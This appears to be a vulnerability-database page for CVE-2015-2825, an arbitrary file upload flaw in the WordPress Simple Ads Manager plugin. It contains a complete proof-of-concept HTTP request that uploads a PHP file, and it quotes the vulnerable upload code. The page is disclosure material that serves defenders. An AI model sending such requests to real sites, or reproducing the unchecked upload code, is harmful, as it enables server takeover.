| Reporter | Title | Published | Views | Family All 16 |
|---|---|---|---|---|
| Wordpress Simple Ads Manager 2.5.94 - Arbitrary File Upload Vulnerability | 2 Apr 201500:00 | – | zdt | |
| WordPress Simple Ads Manager Arbitrary File Upload Vulnerability | 23 Apr 201500:00 | – | cnvd | |
| Wordpress Simple Ads Manager Arbitrary File Upload - Ver2 (CVE-2015-2825) | 18 May 201500:00 | – | checkpoint_advisories | |
| WordPress Simple Ads Manager Plugin Arbitrary File Inclusion (CVE-2015-2825) | 23 Mar 201600:00 | – | checkpoint_advisories | |
| CVE-2015-2825 | 21 Apr 201515:00 | – | cve | |
| CVE-2015-2825 | 21 Apr 201515:00 | – | cvelist | |
| WordPress Simple Ads Manager File Upload | 1 May 201500:00 | – | dsquare | |
| WordPress Plugin Simple Ads Manager 2.5.94 - Arbitrary File Upload | 2 Apr 201500:00 | – | exploitpack | |
| CVE-2015-2825 | 21 Apr 201515:59 | – | nvd | |
| WordPress Simple Ads Manager Plugin File Upload Vulnerability | 8 Apr 201500:00 | – | openvas |
#Vulnerability title: Wordpress plugin Simple Ads Manager - Arbitrary File Upload
#Product: Wordpress plugin Simple Ads Manager
#Vendor: https://profiles.wordpress.org/minimus/
#Affected version: Simple Ads Manager 2.5.94
#Download link: https://wordpress.org/plugins/simple-ads-manager/
#CVE ID: CVE-2015-2825
#Author: Tran Dinh Tien ([email protected]) & ITAS Team
::PROOF OF CONCEPT::
+ REQUEST
POST /wp-content/plugins/simple-ads-manager/sam-ajax-admin.php HTTP/1.1
Host: targer.com
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Content-Type: multipart/form-data; boundary=---------------------------108989518220095255551617421026
Content-Length: 683
-----------------------------108989518220095255551617421026
Content-Disposition: form-data; name="uploadfile"; filename="info.php"
Content-Type: application/x-php
<?php phpinfo(); ?>
-----------------------------108989518220095255551617421026
Content-Disposition: form-data; name="action"
upload_ad_image
-----------------------------108989518220095255551617421026—
+ Vulnerable file: simple-ads-manager/sam-ajax-admin.php
+ Vulnerable code: from line 303 to 314
case 'sam_ajax_upload_ad_image':
if(isset($_POST['path'])) {
$uploadDir = $_POST['path'];
$file = $uploadDir . basename($_FILES['uploadfile']['name']);
if ( move_uploaded_file( $_FILES['uploadfile']['tmp_name'], $file )) {
$out = array('status' => "success");
} else {
$out = array('status' => "error");
}
}
break;
+ REFERENCE:
- http://www.itas.vn/news/ITAS-Team-found-out-multiple-critical-vulnerabilities-in-Hakin9-IT-Security-Magazine-78.html?language=en
- https://www.youtube.com/watch?v=8IU9EtUTkxI Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation